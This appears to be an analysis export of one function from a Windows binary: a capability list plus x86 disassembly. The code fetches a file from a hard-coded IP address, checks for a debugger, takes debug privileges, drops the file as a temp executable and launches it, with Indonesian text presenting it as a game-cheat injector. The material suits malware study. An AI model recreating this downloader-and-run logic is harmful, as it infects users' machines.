Function at 0x404220
Capabilities:
Acquire debug privileges
Copy file
Create process on windows
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d612
mov eax, dword fs:[0]
push eax
sub esp, 0x1cc
mov eax, dword [0x42456c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push 0x41e488
mov dword [ebp - 0x1d4], edi
call fcn.00401240
add esp, 4
push eax
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x404282
push edi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1d8], esp
push 0x1b
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push str.C:WindowsSystem_a1.mentah
mov byte [ecx], 0
call fcn.00402e00
call fcn.00404180
add esp, 0x1c
test al, al
je 0x4042c8
push str.C:WindowsSystem_a1.mentah
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x38
lea ebx, [ebx]
call fcn.00407c5c
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov dword [ebp - 4], edi
cmp esi, edi
je 0x40434d
mov ecx, 0x4b
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x41e674]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x128], dl
jns 0x404310
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x10
jl 0x4042f0
mov byte [ebp - 0x118], 0
or dword [ebp - 0x1d4], 1
push edi
push edi
push edi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
push eax
push 1
lea eax, [ebp - 0x128]
push eax
mov ecx, esi
call fcn.00405d70
mov ebx, eax
jmp 0x40434f
xor ebx, ebx
test byte [ebp - 0x1d4], 1
mov dword [ebp - 4], 0xffffffff
je 0x404386
and dword [ebp - 0x1d4], 0xfffffffe
xor eax, eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov byte [ebp - 0x118], al
mov ecx, dword [section..data]
push 1
push str.Sedang_Mendownload_File_Mohon_Tunggu
push ecx
mov ecx, ebx
call fcn.004058f0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:WindowsSystem_a1.mentah
push str.http:__47.244.177.113__lm_______9exe.php
call fcn.004014b0
push 0x41e61c
push str.C:WindowsSystem_a1.mentah
call fcn.00409589
push 2
mov esi, eax
push edi
push esi
call fcn.00409451
push esi
call fcn.00409362
push esi
mov edi, eax
call fcn.00408d3d
add esp, 0x24
cmp edi, 0x4e20
jae 0x404475
mov eax, dword [0x426c58]
inc eax
mov dword [0x426c58], eax
push str.mode_con_cols55_lines3
cmp eax, 6
je 0x40443e
call fcn.004090f1
push 0x41e5fc
call fcn.004090f1
push str._x__Gagal_Download_Cheat_Sedang_Mendownload_File_Ulang__n_n
push 0xc
call fcn.00401410
add esp, 0x10
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41e5fc
call fcn.004090f1
add esp, 4
xor edi, edi
jmp 0x4042c8
call fcn.004090f1
push 0x41e5fc
call fcn.004090f1
push str._x__Gagal_Download_Cheat__Silahkan_Hubungi_Seller_Anda__n_n
push 0xc
call fcn.00401410
add esp, 0x10
push 0x10
push str.Error
push str.Gagal_Download_Cheat__Silahkan_Hubungi_Seller_Anda_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4047b8
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4044b3
mov edx, dword [section..data]
push 3
push str.debug__
push edx
mov ecx, ebx
call fcn.004058f0
mov eax, dword [section..data]
push 0x40010
push eax
push str.debug__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.00409089
lea ecx, [ebp - 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x114]
push edx
call fcn.00401370
lea eax, [ebp - 0x1d0]
push 0xf
push eax
call fcn.00403d60
add esp, 0xc
mov esi, eax
xor edi, edi
lea eax, [ebp - 0x114]
mov dword [ebp - 4], 3
mov dword [ebp - 0x168], 0xf
mov dword [ebp - 0x16c], edi
mov byte [ebp - 0x17c], 0
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404510
sub eax, edx
push eax
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.00402e00
push 0x41e484
lea edx, [ebp - 0x17c]
push edx
lea eax, [ebp - 0x1b4]
push eax
mov byte [ebp - 4], 4
call fcn.00403ca0
push esi
push eax
lea ecx, [ebp - 0x198]
push ecx
mov byte [ebp - 4], 5
call fcn.00403cf0
push str..exe
push eax
lea edx, [ebp - 0x144]
push edx
mov byte [ebp - 4], 6
call fcn.00403ca0
add esp, 0x24
mov esi, 0x10
cmp dword [ebp - 0x184], esi
jb 0x40458f
mov eax, dword [ebp - 0x198]
push eax
call fcn.0040726b
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x188], edi
mov byte [ebp - 0x198], 0
cmp dword [ebp - 0x1a0], esi
jb 0x4045c3
mov ecx, dword [ebp - 0x1b4]
push ecx
call fcn.0040726b
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x1a4], edi
mov byte [ebp - 0x1b4], 0
cmp dword [ebp - 0x168], esi
jb 0x4045f2
mov edx, dword [ebp - 0x17c]
push edx
call fcn.0040726b
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x16c], edi
mov byte [ebp - 0x17c], 0
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x1bc], esi
jb 0x404625
mov eax, dword [ebp - 0x1d0]
push eax
call fcn.0040726b
add esp, 4
mov eax, 0xf
push 0xe
push 0x41e488
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1c0], edi
mov byte [ebp - 0x1d0], 0
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edi
mov byte [ebp - 0x160], 0
call fcn.00402e00
push 1
push str.SeDebugPrivilege
mov byte [ebp - 4], 0xc
call fcn.00401180
add esp, 8
test eax, eax
jne 0x4046ef
mov ecx, dword [section..data]
push 3
push str.debug__
push ecx
mov ecx, ebx
call fcn.004058f0
mov edx, dword [section..data]
push 0x40010
push edx
push str.debug__
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [ebp - 0x14c], esi
jb 0x4046b8
mov eax, dword [ebp - 0x160]
push eax
call fcn.0040726b
add esp, 4
mov dword [ebp - 0x14c], 0xf
mov dword [ebp - 0x150], edi
mov byte [ebp - 0x160], 0
cmp dword [ebp - 0x130], esi
jb 0x4047b8
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.0040726b
add esp, 4
jmp 0x4047b8
mov edx, dword [section..data]
push 1
push str.Sedang_Initialize_File_Mohon_Tunggu
push edx
mov ecx, ebx
call fcn.004058f0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x130], esi
jae 0x404725
lea eax, [ebp - 0x144]
push edi
push eax
push str.C:WindowsSystem_a1.mentah
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1d8], esp
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x144]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push eax
mov byte [ecx], 0
call fcn.00402d10
call fcn.00404180
add esp, 0x1c
test al, al
jne 0x404776
push str._x__Cannot_Copy_File_Harap_Buka_Ulang_Tools_Injection_Atau_Hubungi_Seller___n_n
push 0xc
call fcn.00401410
add esp, 8
jmp 0x4047a2
push 0x7d0
call ebx
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x130], esi
jae 0x404791
lea eax, [ebp - 0x144]
push 1
push edi
push edi
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x160]
call fcn.00402550
lea ecx, [ebp - 0x144]
call fcn.00402550
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00409089
int3